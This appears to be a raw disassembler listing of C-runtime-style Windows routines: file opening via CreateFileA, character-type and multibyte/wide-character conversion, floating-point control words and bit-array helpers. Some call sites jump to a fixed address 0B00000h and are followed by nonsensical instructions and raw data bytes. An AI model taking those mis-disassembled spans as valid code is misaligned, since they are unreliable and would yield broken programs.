loc_423996:				; CODE XREF: sub_423896+D0j
					; sub_423896+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


loc_42399B:				; CODE XREF: sub_423896+CEj
		cmp	ecx, 500h
		jz	short loc_4239BD
		cmp	ecx, 600h
		jz	short loc_4239B4
		cmp	ecx, edx
		jz	short loc_4239BD
		jmp	loc_4238F2
; ---------------------------------------------------------------------------


loc_4239B4:				; CODE XREF: sub_423896+E0j
					; sub_423896+113j
		mov	[ebp+var_8], 5
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


loc_4239BD:				; CODE XREF: sub_423896+10Bj
					; sub_423896+117j
		mov	[ebp+var_8], 1


loc_4239C4:				; CODE XREF: sub_423896+F5j
					; sub_423896+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_4239E3
		mov	ecx, ds:dword_4E1500
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_4239E3
		push	1
		pop	esi


loc_4239E3:				; CODE XREF: sub_423896+138j
					; sub_423896+148j
		test	al, 40h
		jz	short loc_4239F1
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_4239F1:				; CODE XREF: sub_423896+14Fj
		test	ah, 10h
		jz	short loc_4239F8
		or	esi, edi


loc_4239F8:				; CODE XREF: sub_423896+15Ej
		test	al, 20h
		jz	short loc_423A04
		or	esi, 8000000h
		jmp	short loc_423A0E
; ---------------------------------------------------------------------------


loc_423A04:				; CODE XREF: sub_423896+164j
		test	al, 10h
		jz	short loc_423A0E
		or	esi, 10000000h


loc_423A0E:				; CODE XREF: sub_423896+16Cj
					; sub_423896+170j
		call	sub_423638
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423A2F
		and	ds:dword_4E14FC, 0
		mov	ds:dword_4E14F8, 18h
		jmp	short loc_423A6D
; ---------------------------------------------------------------------------


loc_423A2F:				; CODE XREF: sub_423896+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_4270EC	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423A60
		push	esi
		call	near ptr 0B00000h
		rep test eax, eax
		jnz	short loc_423A74
		push	esi
		call	ds:dword_42706C	; CloseHandle


loc_423A60:				; CODE XREF: sub_423896+1B6j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		call	sub_420244
		pop	ecx


loc_423A6D:				; CODE XREF: sub_423896+197j
		mov	eax, edi
		jmp	loc_423B4A
; ---------------------------------------------------------------------------


loc_423A74:				; CODE XREF: sub_423896+1C1j
		cmp	eax, 2
		jnz	short loc_423A7F
		or	[ebp+var_1], 40h
		jmp	short loc_423A88
; ---------------------------------------------------------------------------


loc_423A7F:				; CODE XREF: sub_423896+1E1j
		cmp	eax, 3
		jnz	short loc_423A88
		or	[ebp+var_1], 8


loc_423A88:				; CODE XREF: sub_423896+1E7j
					; sub_423896+1ECj
		push	esi
		push	ebx
		call	loc_4236CD
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4E1820h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423B31
		test	al, 80h
		jz	short loc_423B31
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423B31
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423AE6
		cmp	ds:dword_4E14FC, 83h
		jz	short loc_423B31
		jmp	short loc_423B25
; ---------------------------------------------------------------------------


loc_423AE6:				; CODE XREF: sub_423896+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41EF81
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423B13
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423B13
		push	[ebp+var_10]
		push	ebx
		call	loc_424D36
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423B25


loc_423B13:				; CODE XREF: sub_423896+265j
					; sub_423896+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423B31


loc_423B25:				; CODE XREF: sub_423896+24Ej
					; sub_423896+27Bj
		push	ebx
		call	sub_41E142
		pop	ecx


loc_423B2C:				; CODE XREF: sub_423896+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423B4A
; ---------------------------------------------------------------------------


loc_423B31:				; CODE XREF: sub_423896+221j
					; sub_423896+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423B48
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423B48
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423B48:				; CODE XREF: sub_423896+29Fj
					; sub_423896+2A5j
		mov	eax, ebx


loc_423B4A:				; CODE XREF: sub_423896+1D9j
					; sub_423896+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423896	endp

; ---------------------------------------------------------------------------


loc_423B4F:				; CODE XREF: sub_41F37A+5Ep
					; seg000:0041FFE7p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C28
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_4E16E4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423BBE
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427918
		push	esi
		call	ds:dword_427020	; GetStringTypeW
		test	eax, eax
		jz	short loc_423B9C
		mov	eax, esi
		jmp	short loc_423BB9
; ---------------------------------------------------------------------------


loc_423B9C:				; CODE XREF: seg000:00423B96j
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_4D10A8
		push	esi
		push	ebx
		call	near ptr 0B00000h
		and	[ebp-317BF040h], eax
; ---------------------------------------------------------------------------
		db 0
		dd 26A0000h
; ---------------------------------------------------------------------------
		pop	eax


loc_423BB9:				; CODE XREF: seg000:00423B9Aj
		mov	ds:dword_4E16E4, eax


loc_423BBE:				; CODE XREF: seg000:00423B7Ej
		cmp	eax, 2
		jnz	short loc_423BE7
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_423BCF
		mov	eax, ds:dword_4E15B0 ; CODE XREF: seg000:00423BE1j


loc_423BCF:				; CODE XREF: seg000:00423BC8j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0B00000h
		js	short near ptr loc_423BCA+2
		lahf
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_423BE7:				; CODE XREF: seg000:00423BC1j
		cmp	eax, 1
		jnz	loc_423C84
		cmp	[ebp+18h], ebx
		jnz	short loc_423BFD
		mov	eax, ds:dword_4E15C0
		mov	[ebp+18h], eax


loc_423BFD:				; CODE XREF: seg000:00423BF3j
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_427184	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_423C84
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BC40
		add	esp, 0Ch
		jmp	short loc_423C53
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_423C53:				; CODE XREF: seg000:00423C46j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423C84
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_427184	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_423C84
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_427020	; GetStringTypeW
		jmp	short loc_423C86
; ---------------------------------------------------------------------------


loc_423C84:				; CODE XREF: seg000:00423BEAj
					; seg000:00423C1Fj ...
		xor	eax, eax


loc_423C86:				; CODE XREF: seg000:00423C82j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423C98	proc near		; CODE XREF: sub_41F3EF+61p
					; sub_4202AB+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4E1920
		jb	short loc_423CA7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: sub_423C98+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4E1820[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423C98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CBE	proc near		; CODE XREF: sub_41F504+2D4p
					; sub_41F504+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423CCA
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423CCA:				; CODE XREF: sub_423CBE+8j
		cmp	ds:dword_4E15B0, 0
		jnz	short loc_423CE5
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423D17
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423CE5:				; CODE XREF: sub_423CBE+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_44276C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_4E15C0
		call	ds:dword_427180	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_423D17
		cmp	[ebp+arg_0], 0
		jz	short loc_423D24


loc_423D17:				; CODE XREF: sub_423CBE+1Ej
					; sub_423CBE+51j
		mov	ds:dword_4E14F8, 2Ah
		or	eax, 0FFFFFFFFh


loc_423D24:				; CODE XREF: sub_423CBE+57j
		pop	ebp
		retn
sub_423CBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423D26	proc near		; CODE XREF: sub_420375+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423D49
		cmp	[ebp+arg_8], ebx
		jz	short loc_423D49
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423D4F
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423D49
		mov	[eax], bx


loc_423D49:				; CODE XREF: sub_423D26+Cj
					; sub_423D26+11j ...
		xor	eax, eax


loc_423D4B:				; CODE XREF: sub_423D26+42j
					; sub_423D26+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423D4F:				; CODE XREF: sub_423D26+17j
		cmp	ds:dword_4E15B0, ebx
		jnz	short loc_423D6A
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423D65
		movzx	ax, al
		mov	[ecx], ax


loc_423D65:				; CODE XREF: sub_423D26+36j
					; sub_423D26+C0j
		push	1
		pop	eax
		jmp	short loc_423D4B
; ---------------------------------------------------------------------------


loc_423D6A:				; CODE XREF: sub_423D26+2Fj
		mov	ecx, ds:off_442560
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423DC7
		mov	eax, ds:dword_44276C
		cmp	eax, 1
		jle	short loc_423DAE
		cmp	[ebp+arg_8], eax
		jl	short loc_423DB8
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_4E15C0
		call	ds:dword_427184	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_44276C
		jnz	short loc_423D4B


loc_423DAE:				; CODE XREF: sub_423D26+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423DB8
		cmp	[esi+1], bl
		jnz	short loc_423D4B


loc_423DB8:				; CODE XREF: sub_423D26+61j
					; sub_423D26+8Bj ...
		mov	ds:dword_4E14F8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423D4B
; ---------------------------------------------------------------------------


loc_423DC7:				; CODE XREF: sub_423D26+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_4E15C0
		call	ds:dword_427184	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_423D65
		jmp	short loc_423DB8
sub_423D26	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423DF0	proc near		; CODE XREF: sub_420375+797p
					; sub_420375+7E7p
		cmp	cl, 40h
		jnb	short loc_423E0A
		cmp	cl, 20h
		jnb	short loc_423E00
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423E00:				; CODE XREF: sub_423DF0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423E0A:				; CODE XREF: sub_423DF0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423DF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E0F	proc near		; CODE XREF: sub_420DEB+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423E5B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423E2D
		test	al, 80h
		jz	short loc_423E5B
		test	al, 2
		jnz	short loc_423E5B


loc_423E2D:				; CODE XREF: sub_423E0F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423E3A
		push	esi
		call	sub_423852
		pop	ecx


loc_423E3A:				; CODE XREF: sub_423E0F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423E4A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423E5B
		inc	eax
		mov	[esi], eax


loc_423E4A:				; CODE XREF: sub_423E0F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_423E61
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_423E67
		inc	eax
		mov	[esi], eax


loc_423E5B:				; CODE XREF: sub_423E0F+9j
					; sub_423E0F+18j ...
		or	eax, 0FFFFFFFFh


loc_423E5E:				; CODE XREF: sub_423E0F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_423E61:				; CODE XREF: sub_423E0F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_423E67:				; CODE XREF: sub_423E0F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423E5E
sub_423E0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E7D	proc near		; CODE XREF: sub_4213DB+52p
		xor	eax, eax
		retn
sub_423E7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E80	proc near		; CODE XREF: sub_423EB5+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_423ECB
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_423F5D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_423E80	endp


; =============== S U B	R O U T	I N E =======================================



sub_423EB5	proc near		; CODE XREF: sub_4216C7+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_423E80
		pop	ecx
		pop	ecx
		retn
sub_423EB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_423ECB	proc near		; CODE XREF: sub_423E80+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_423EDC
		push	10h
		pop	eax


loc_423EDC:				; CODE XREF: sub_423ECB+Cj
		test	bl, 4
		jz	short loc_423EE3
		or	al, 8


loc_423EE3:				; CODE XREF: sub_423ECB+14j
		test	bl, 8
		jz	short loc_423EEA
		or	al, 4


loc_423EEA:				; CODE XREF: sub_423ECB+1Bj
		test	bl, 10h
		jz	short loc_423EF1
		or	al, 2


loc_423EF1:				; CODE XREF: sub_423ECB+22j
		test	bl, 20h
		jz	short loc_423EF8
		or	al, 1


loc_423EF8:				; CODE XREF: sub_423ECB+29j
		test	bl, 2
		jz	short loc_423F02
		or	eax, 80000h


loc_423F02:				; CODE XREF: sub_423ECB+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_423F3A
		cmp	edx, 400h
		jz	short loc_423F37
		cmp	edx, 800h
		jz	short loc_423F33
		cmp	edx, esi
		jnz	short loc_423F3A
		or	eax, edi
		jmp	short loc_423F3A
; ---------------------------------------------------------------------------


loc_423F33:				; CODE XREF: sub_423ECB+5Ej
		or	eax, ebp
		jmp	short loc_423F3A
; ---------------------------------------------------------------------------


loc_423F37:				; CODE XREF: sub_423ECB+56j
		or	ah, 1


loc_423F3A:				; CODE XREF: sub_423ECB+4Ej
					; sub_423ECB+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_423F4A
		cmp	ecx, ebp
		jnz	short loc_423F4F
		or	eax, 10000h
		jmp	short loc_423F4F
; ---------------------------------------------------------------------------


loc_423F4A:				; CODE XREF: sub_423ECB+72j
		or	eax, 20000h


loc_423F4F:				; CODE XREF: sub_423ECB+76j
					; sub_423ECB+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_423F5C
		or	eax, 40000h

locret_423F5C:				; CODE XREF: sub_423ECB+8Aj
		retn
sub_423ECB	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F5D	proc near		; CODE XREF: sub_423E80+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_423F6D
		push	1
		pop	eax


loc_423F6D:				; CODE XREF: sub_423F5D+Bj
		test	bl, 8
		jz	short loc_423F74
		or	al, 4


loc_423F74:				; CODE XREF: sub_423F5D+13j
		test	bl, 4
		jz	short loc_423F7B
		or	al, 8


loc_423F7B:				; CODE XREF: sub_423F5D+1Aj
		test	bl, 2
		jz	short loc_423F82
		or	al, 10h


loc_423F82:				; CODE XREF: sub_423F5D+21j
		test	bl, 1
		jz	short loc_423F89
		or	al, 20h


loc_423F89:				; CODE XREF: sub_423F5D+28j
		test	ebx, 80000h
		jz	short loc_423F93
		or	al, 2


loc_423F93:				; CODE XREF: sub_423F5D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_423FC0
		cmp	ecx, 100h
		jz	short loc_423FBD
		cmp	ecx, esi
		jz	short loc_423FB8
		cmp	ecx, edx
		jnz	short loc_423FC0
		or	ah, 0Ch
		jmp	short loc_423FC0
; ---------------------------------------------------------------------------


loc_423FB8:				; CODE XREF: sub_423F5D+50j
		or	ah, 8
		jmp	short loc_423FC0
; ---------------------------------------------------------------------------


loc_423FBD:				; CODE XREF: sub_423F5D+4Cj
		or	ah, 4


loc_423FC0:				; CODE XREF: sub_423F5D+44j
					; sub_423F5D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_423FD6
		cmp	ecx, 10000h
		jnz	short loc_423FD8
		or	eax, esi
		jmp	short loc_423FD8
; ---------------------------------------------------------------------------


loc_423FD6:				; CODE XREF: sub_423F5D+6Bj
		or	eax, edx


loc_423FD8:				; CODE XREF: sub_423F5D+73j
					; sub_423F5D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_423FE5
		or	ah, 10h

locret_423FE5:				; CODE XREF: sub_423F5D+83j
		retn
sub_423F5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FE6	proc near		; CODE XREF: sub_424085+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42402B
		inc	esi
		cmp	esi, 3
		jge	short loc_424026
		lea	eax, [eax+esi*4]


loc_424018:				; CODE XREF: sub_423FE6+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42402B
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_424018


loc_424026:				; CODE XREF: sub_423FE6+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42402B:				; CODE XREF: sub_423FE6+27j
					; sub_423FE6+35j
		xor	eax, eax
		pop	esi
		retn
sub_423FE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42402F	proc near		; CODE XREF: sub_424085+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_424E7C
		add	esp, 0Ch
		dec	esi
		js	short loc_424081
		lea	edi, [ebx+esi*4]


loc_424068:				; CODE XREF: sub_42402F+50j
		test	eax, eax
		jz	short loc_424081
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_424E7C
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424068


loc_424081:				; CODE XREF: sub_42402F+34j
					; sub_42402F+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42402F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424085	proc near		; CODE XREF: sub_4241E0+81p
					; sub_4241E0+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4240E9
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_423FE6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4240E6
		push	edi
		push	[ebp+arg_0]
		call	sub_42402F
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4240E6:				; CODE XREF: sub_424085+51j
		mov	eax, [ebp+arg_4]


loc_4240E9:				; CODE XREF: sub_424085+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424109
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424109:				; CODE XREF: sub_424085+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424085	endp


; =============== S U B	R O U T	I N E =======================================



sub_424111	proc near		; CODE XREF: sub_4241E0+75p
					; sub_4241E0+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_42411F:				; CODE XREF: sub_424111+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_42411F
		pop	esi
		retn
sub_424111	endp


; =============== S U B	R O U T	I N E =======================================



sub_42412C	proc near		; CODE XREF: sub_4241E0+5Fp
					; sub_4241E0+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42412C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424138	proc near		; CODE XREF: sub_4241E0+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_42413E:				; CODE XREF: sub_424138+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424150
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_42413E
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424150:				; CODE XREF: sub_424138+9j
		xor	eax, eax
		retn
sub_424138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424153	proc near		; CODE XREF: sub_4241E0+C0p
					; sub_4241E0+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424189:				; CODE XREF: sub_424153+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424189
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4241BB:				; CODE XREF: sub_424153+86j
		cmp	ebx, edi
		jl	short loc_4241CE
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4241D5
; ---------------------------------------------------------------------------


loc_4241CE:				; CODE XREF: sub_424153+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4241D5:				; CODE XREF: sub_424153+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4241BB
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424153	endp


